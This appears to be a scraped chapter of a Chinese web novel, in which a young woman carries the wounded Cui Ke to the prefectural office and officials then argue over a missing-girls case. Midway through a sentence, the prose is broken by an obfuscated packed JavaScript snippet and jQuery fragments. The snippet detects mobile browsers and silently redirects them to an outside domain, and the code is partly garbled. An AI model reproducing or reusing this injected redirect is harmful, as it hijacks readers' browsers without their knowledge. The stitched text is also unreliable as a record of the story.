30. 第三十章(第2页)
乱糟糟的声音传来。
“人呢!”
“怎么不见了?”
季琢玉捂住嘴巴,感受到身下的崔大人一动不动,她不出声,生怕惊动上面追来的守卫。
等到上面传来渐远的脚步声,季琢玉挣扎着从他怀里抬起头,声音带着哭腔和恐惧。
“大人!你怎么样?”
借着微弱的月光,她模糊地看到他的肩背处,洇开一片深色的、粘稠的湿痕。
不是水,是血,不知什么时候他被乱刀砍伤了……流了好多血,还是带着她一路跑出来。
“我没事,走。”崔恪咬牙撑起身,脸色比月光白,额角全是冷汗。
他试图站起来,身体猛地一晃,伤口被牵动,更多的血涌了出来。
“你流血了。”季琢玉的声音颤抖,死死抓住他的胳膊,试图分担他身体的重量。
远处草动,火把火光越来越多,是守卫!
他们没走,只是抄近路追了上来。
除非看到两人的尸体,不然他们不会那么容易折返的。
“快走!”崔恪的声音不容置疑,将她往前一推,“别管我,顺着山坡往下跑,去府衙找赵参军。”
他回身,拔刀指向火光逼近的方向,这架势,是要断后。
“我不走。”季琢玉态度坚决,扑回来,用尽全身力气撑住他摇摇欲坠的身体,眼泪唰唰地往下流,“不就是死吗,要死一起死,我扶你走!”
瘦小的身体变得很有力气,不管不顾地架着崔恪高大的身躯,深一脚浅一脚地往更深的、荆棘丛生的黑暗走去。
沿路尖锐的枝条抽打在脸上身上,白皙光滑的皮肤被划出一道道血痕。
太黑了,什么也看不清,脚下的乱石和湿滑的腐叶一次次将她绊倒,她又咬着牙拖着崔恪爬起来。
每一次起身,崔恪后背的伤口就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889237|174734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
涌出更多的血,逐渐染红了她的半边肩膀,温热粘稠,带着浓重的铁锈味。
两人真正地融为一体,在黑暗的夜里,在鲜红的血泊中。
“对不起,都怪我……我不该提议去报恩寺,更不该乔装打扮带你闯进去。”季琢玉一个劲地道歉,黄豆粒大小的泪珠吧嗒吧嗒往下落,砸在崔恪的衣袖上。
明明不是她的错。
“蠢……蠢货……”崔恪的骂声越来越低,越来越虚弱,身体的重量几乎完全压在了她身上。
季琢玉充耳不闻,牙齿死死咬住下唇,满嘴的血腥味。
她脑子里只有一个念头:不能停下来,不能把崔大人丢在这里。
不知走了多久,身后的叫喊声和火光终于不见了,头顶的月光也变得更亮了。
她抬起头,不,不是月亮,是寅时的太阳。
此刻,日与月共天。
天亮了,一切就会好起来。
季琢玉嘴角微微上扬,她再也支撑不住,脚下一软,带着崔恪重重摔进一片半人高的蒿草丛里。
她剧烈地喘息着,喉咙里全是血腥气,浑身像散了架,每一处都在叫嚣着疼痛。
此时,她已经分不清身上的痛是太累了还是被沿路树枝划出的伤。
“崔恪……崔恪!”
她挣扎着爬过去,颤抖的手摸上他的脸,冰凉一片,探向鼻息,微弱得几乎感觉不到。
恐惧瞬间将她包围,不知道哪来的力气,猛地将崔恪沉重的身体翻过来,让他趴在她背上,用尽最后一丝力气,背着他,一步一步,朝着府衙的方向挪动。
崔大人,一定要撑住啊。
脚下树枝嘎吱作响,每一步都迈地艰难,像是走在刀尖上。
背上的男人越来越沉,后背的湿热感也越来越重。
她的双手死死抠着他垂落的手臂,指甲好像断裂了,掌心被粗粝的衣料磨得血肉模糊。
如此,她却感觉不到一点疼痛,像是木讷的鬼魂,只是低着头赶路。
双脚上的破旧布鞋不知道什么时候没有的,每走一步,尖锐的碎石和锋利的荆棘就割一下她赤裸的脚底。
疼,实在是太疼了……她一滴眼泪也流不出来了,只剩下肩膀一颤一颤。
终于,府衙那熟悉的、挂着灯笼的大门,出现在她的视野里,像是濒临死亡前最美好的幻觉。
“来人……快来人啊!”她用尽最后一丝力气喊出来。
门房被惊动,灯笼光晃了过来。
看清门口的景象,惊呼起来:“是季公子和崔大人,天,快,快叫大夫,快啊!”
门房将崔恪接过去,季琢玉只觉得背上一轻,紧绷的弦骤然断裂,眼前一黑,身体软软地就往下倒。
陆长史、周司马还有赵参军,三人皆被吵醒,闻讯而来,破晓时分的府衙掀起一片慌乱。
东厢房,血水一盆一盆往外递,背着药箱的大夫一个接一个赶到。
“崔少卿,您可千万别有事啊。”陆长史双手合十,在院子里踱步祈祷。
四品大官在他管辖的地方丢了性命,他全家老小就等着被斩首示众吧。
何况崔少卿还不是一般的四品官,是太子太傅崔闳唯一的孙儿,平阳县主和崔知州的独子。
他的身份何等尊贵,背靠的清河崔氏又是何等显赫。
“崔大人福大命大,死不了的。”赵参军就冷静多了,语气听不出半点担忧。
“你少说这些风凉话,要不是你写折子上报,天后怎会派崔大人来调查此案,少卿出了什么事,也该算在你头上。”
周司马“哼”一声,就差指着赵参军的鼻子骂了。
妙龄少女陆续失踪案,原本归他查,奈何案子比他想象的复杂,查了半年,什么线索也没有,毫无进展。
赵参军瞒着所有人上报此事,不就是拐弯抹角说他周司马办案不力,能力有限吗?
这下好了,人人都知道江南道的司马连个案子都破不了,还得请长安城派大理寺的人前来查破案子。
“你怕死,我不怕,若少卿大人醒来问罪我等,算在我头上便是,我一人领罚。”赵参军好生威风,面不改色。
“好了,都少说两句。”陆长史打断两人的争吵,递给旁边的老吏一个颜色,“你去看看季公子,他好像也受伤了,需要什么药,你只管去问大夫要,药钱算在衙门账上。”
“是,大人,我这就去。”老吏转身走向对面的厢房。